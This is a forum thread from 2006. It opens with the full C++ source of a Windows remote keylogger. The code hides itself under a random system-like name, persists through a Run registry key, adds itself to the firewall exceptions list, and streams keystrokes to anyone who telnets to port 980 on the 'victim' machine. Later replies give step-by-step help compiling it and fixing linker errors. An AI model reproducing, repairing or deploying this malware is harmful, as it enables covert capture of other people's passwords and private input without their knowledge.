+ Reply to Thread
Results 1 to 10 of 10
Thread: look at this
-
11-03-2006, 04:46 PM #1
look at this
this looks like a cool program; i know im stupid but how do i run it
thanks
Code:/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Name: Remote Logger V0.1 * * Author: NerveThraX * * Date: 10/07/06 16:51 * * * * A remote key logger that logs the keystrokes of a remote or local machine. * * The keylogger starts a telnet server on port 980 of the remote host. * * * * This program is for educational purpose only. I am not responsible for any * * damage this program might cause nor I am responsible how this program is * * used. * * * * To access the key loggers remote features you will need to do the following.* * * * start -> run -> telnet <ipaddress_victim> 980 * * * * Now you wil be able to view the live feed of key strokes of the remote * * machine. * * * * You can also use the key logger to log the keystrokes of a local machine, * * since it keeps all keystrokes in a central file called log.txt in the * * windows root directory. The key logger also paralyzes the windows firewall * * so that no warning is message is made when the listing server is running,the* * key logger also alters the reg keys so that it runs at every reboot. * * * * This program is free software; you can redistribute it and/or * * modify it under the terms of the GNU General Public License * * as published by the Free Software Foundation. * *******************************************************************************/ /* The source code is compiled in Dev-C++ 4.9.9.2 linked to the ws2_32.lib library. The key logger seems to work stable in Windows XP Home/Pro Sp2, the key logger also should work in Windows NT and 2000. You will want to choose a windows project instead of a console project. */ #include <windows.h> #include <winsock.h> #include <stdio.h> #include <iostream> #include <fstream> #include <ctime> #include <cstdlib> using namespace std; #define MAX 1024 void win_firewall(char* display_name); int main() { char system[MAX]; char pathtofile[MAX]; const char *name[] = {"\\LiveUpdate.exe", "\\WindowsSpooler.exe", "\\TelnetClient.exe", "\\Microsoft.exe", "\\Sp2Firewall.exe", "\\regedat.exe", "\\ieexplorer.exe", "\\Explorer.exe", "\\windowsClient.exe", "\\MCAGENT.exe", "\\MCUPDATE.exe", "\\MFW2EN.exe", "\\MFWENG3.exe", "\\MGUI.exe", "\\msconfig.exe", "\\MINILOG.exe", "\\MOOLIVE.exe", "\\MRFLUX.exe", "\\MSCONFIG.exe", "\\MSINFO32.exe", "\\MSSMMC32.exe", "\\MU0311AD.exe", "\\NAV80TRY.exe", "\\NAVAPW32.exe", "\\NAVDX.exe", "\\NAVSTUB.exe", "\\NAVW32.exe", "\\NC2000.exe", "\\NCINST4.exe", "\\NDD32.exe", "\\NEOMONITOR.exe", "\\NETARMOR.exe", "\\NETINFO.exe", "\\NETMON.exe", 0}; srand(time(0)); int random = rand() % 35; name[random]; /* Finds the windows directory and copies the key logger*/ HMODULE GetModH = GetModuleHandle(NULL); GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile)); GetSystemDirectory(system,sizeof(system)); strcat(system,name[random]); CopyFile(pathtofile,system,false); /*Adds the reg key*/ HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); RegSetValueEx(hKey, "Microsoft Windows Sp2 Firewall",0,REG_SZ,(const unsigned char*)system,sizeof(system)); RegCloseKey(hKey); ofstream gen("log.txt"); gen.close(); win_firewall("Microsoft Update"); /*starts the listing server on port 980*/ WSADATA wsaData; WSAStartup(MAKEWORD(1, 1), &wsaData); SOCKET hServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SOCKADDR_IN sai; sai.sin_family = AF_INET; sai.sin_addr.s_addr = INADDR_ANY; sai.sin_port = htons(980); bind(hServer,(LPSOCKADDR)&sai,sizeof(struct sockaddr)); listen(hServer,10); SOCKET hClient = accept(hServer,NULL,NULL); char szBuffer[MAX_PATH]; char szKey[MAX_PATH]; int uScanCode; ofstream cvg("log.txt" , ios::app); while(1) { for(int i = 0; i < 256; i++) { /*gets the keyboard input*/ if (GetAsyncKeyState(i) == -32767) { uScanCode = MapVirtualKeyEx(i,0,GetKeyboardLayout(0)); GetKeyNameText(uScanCode << 16,szKey,MAX_PATH); if(strlen(szKey) > 0) { strcpy(szBuffer,"["); strcat(szBuffer, szKey); strcat(szBuffer,"]"); send(hClient,szBuffer,strlen(szBuffer),0);/*sends the key strokes*/ /*writes to the log.txt file*/ if(cvg.is_open()) { cvg << szBuffer; } } } } } closesocket(hClient); closesocket(hServer); WSACleanup(); cvg.close(); } void win_firewall(char* display_name) { /*adds itself to the windows firewall exceptions list*/ char path[MAX_PATH]; HMODULE ModH = GetModuleHandle(NULL); GetModuleFileName(ModH, path, sizeof(path)); char data[MAX_PATH] = ""; strcpy (data, path); strcat (data, ":*:Enabled:"); strcat (data, display_name); HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0, KEY_SET_VALUE, &hKey); RegSetValueEx(hKey, path,0,REG_SZ,(const unsigned char*)data,sizeof(data)); RegCloseKey(hKey); }7h3 L337357 c4n7 h4ck m3!
Proud to have quit playing ®µÑȧ©ÅÞË
If you write like a semi-literate boob you will very likely be ignored.
Writing like a l33t script kiddie hax0r is the absolute l33t3st way to write!
L0L
-
11-03-2006, 05:06 PM #2
well
Well, get a compiler first. I use Dev C++, because it's free and has a good GUI
[url]http://www.bloodshed.net/dev/devcpp.html[/url]
From there, install it, run it, go to File, then New, pick Source File. I guess copy/paste code in the box, then go to Execute, press Compile. It will bring up your directories, then you will have to save the file somewhere (remember that the compiled .exe will be placed in that location also). Then after it compiles, go to My Computer, find the place where you stored the source code file, and there should be a .exe there. You can run it, or do whatever else.
Edit: Before you do the source file part, go to File then New then Project, and pick windows project. The project will open. Then you should right clcik the project in the little box next to the box where you type in code. It should give you an option to add a source file to the project. Do this, then go ahead and copy/paste the code and stuffLast edited by Moonbat; 11-03-2006 at 05:09 PM.
-
11-03-2006, 05:09 PM #3
thanks mate
7h3 L337357 c4n7 h4ck m3!
Proud to have quit playing ®µÑȧ©ÅÞË
If you write like a semi-literate boob you will very likely be ignored.
Writing like a l33t script kiddie hax0r is the absolute l33t3st way to write!
L0L
-
11-03-2006, 06:14 PM #4
dude this not working please can you do it
7h3 L337357 c4n7 h4ck m3!
Proud to have quit playing ®µÑȧ©ÅÞË
If you write like a semi-literate boob you will very likely be ignored.
Writing like a l33t script kiddie hax0r is the absolute l33t3st way to write!
L0L
-
11-03-2006, 09:08 PM #5
hmm...
I'm getting a whole bunch of linker errors. I think we have to edit something in the main.cpp, but I have no knowledge in Windows API, so I don't wanna go about editing stuff. Sorry I can't help you out.
-
11-04-2006, 04:24 AM #6In dev-cpp, go to Project -> Project Options, then click the 'Parameters' tab. On the right side is the 'Linker' column - click 'Add Library or Object' and in the 'lib' directory, find ws2_32.lib. Select that, close the menu and compile.
Originally Posted by Moonbat
-
11-04-2006, 05:39 PM #7
thanks mike and moonbat
7h3 L337357 c4n7 h4ck m3!
Proud to have quit playing ®µÑȧ©ÅÞË
If you write like a semi-literate boob you will very likely be ignored.
Writing like a l33t script kiddie hax0r is the absolute l33t3st way to write!
L0L
-
11-18-2006, 08:04 PM #8
Registered User
- Join Date
- Sep 2006
- Location
- Down Under
- Posts
- 158
Now ive gotten a build error, what can i do to fix it?
Originally Posted by mike101
Last edited by Newby_Programme; 11-18-2006 at 08:15 PM.
-
12-07-2006, 04:38 PM #9
working?
smart fool, did you get this to work? I have the .exe file made and I ran it on my computer to see if it works, but my log.txt file is empty...
Last edited by bikinipink627; 12-07-2006 at 04:53 PM.
-
12-08-2006, 05:33 PM #10
no its useless, it was an example for bypassing win firewall.
7h3 L337357 c4n7 h4ck m3!
Proud to have quit playing ®µÑȧ©ÅÞË
If you write like a semi-literate boob you will very likely be ignored.
Writing like a l33t script kiddie hax0r is the absolute l33t3st way to write!
L0L



Reply With Quote

